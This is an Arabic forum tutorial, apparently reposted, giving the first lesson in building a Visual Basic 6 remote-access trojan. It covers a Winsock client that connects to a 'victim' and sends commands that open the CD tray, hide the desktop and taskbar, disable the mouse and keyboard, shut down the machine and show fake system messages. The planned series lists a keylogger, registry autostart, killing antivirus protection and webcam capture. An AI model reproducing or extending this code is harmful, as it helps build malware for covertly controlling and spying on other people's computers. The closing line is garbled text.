بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
الفكرة :-
تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك
الهدف :-
إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي
سلسلة الدروس :-
1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم
2- إضافة محادثة العميل والضحية 3- إضافة محادثة الماتركس 4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ 5- إضافة الكى لوجر جاسوس لوحة المفاتيح 6- تعليم صناعة محرر الخادم الإيدت سرفر 7- إضافة إدارة النوافذ 8- إضافة إدارة الملفات 9- إضافة تصوير الشاشة والكاميرا 10- إضافة الحماية بالباسورد
-: الشرح :-
افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE
راح يفتح لك فورم فارغ كما بالصورة التالية
الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح
الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية
ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح
الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية
نفس العملية أيضا مع الأزرار من الخاصية Caption 
أما مربعات النصوص فنغيرها من الخاصية Text
الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى
زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية
راح يفتح لنا هذه النافذة
نقوم بإختيار الخيار الأول Form
راح يفتح لنا فورم جديد كالسابق
نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد
نقوم بإضافة خمسة عشر زر كالتالى
نقوم يتغيير التسميات من Caption كالتالى
الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام
نقوم بإدارج فورم جديد بنفس الطريقة السابقة
نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد
نقوم بإدراج الكائنات كما بالتالى
نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text
ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg
والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :-
وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API
والان حتى تتمكن من اضافتها اتبع الآتى
عد إلى الفورم الرئيسى Main
اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components
راح يفتح لك قائمة بالأدوات الخارجية المسجلة
ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK
اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse...
سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX
إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز
وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية
اضغط عل OK لتضاف فى آخر ToolBox
قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية
وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet
أكواد الفورم الرئيسى Main
( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه )
1- كود زر الإتصال
كود:
If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If
2- كود زر قطع الإتصال
كود:
lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال
3- كود زر المرح
كود:
Fun.Show ' لإظهار فورم المرح
4- كود زر رسائل النظام
كود:
Massege.Show 'لإظهار فورم الرسائل
الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود
كود:
wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False'
لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات
ونلصق هذا الكود فى الإجراء Close
كود:
wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال
ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود
كود:
lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال
اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود
كود:
cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال
الآن انتهينا من أكواد الفورم الرئيسيى Main
==================
أكواد فورم المرح Fun
1- كود زر فتح سواقة الأقراص
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
2- كود زر إغلاق سواقة الأقراص
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
3- كود زر إخفاء شريط المهام
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
4- كود زر إظهار شريط المهام
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If
5- كود زر إخفاء سطح المكتب
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
6- كود زر إظهار سطح المكتب
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
7- كود زر إخفاء زر إبدأ
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
8- كود زر إظهار زر إبدأ
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
9- كود زر فتح صفحة بالمتصفح
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
10- كود زر ضبط صفحة البدء
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
11- كود زر تعطيل الفأرة والمفاتيح
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
12- كود زر تشغيل الفأرة والمفاتيح
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
13- كود زر إغلاق الجهاز
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
14- كود زر إعادة التشغيل
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
15- كود زر تشغيل حافظة الشاشة
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
الآن انتهينا من أ كواد فورم المرح Fun
============
أكواد فورم الرسائل Massege
1- أكواد زر إرسال الرسالة
كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If
2- كود زر اختبار الرسالة
كود:
If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If
..~ منقول للفائده ~..
avp wkhum fvkhl[ hojvhr uvfd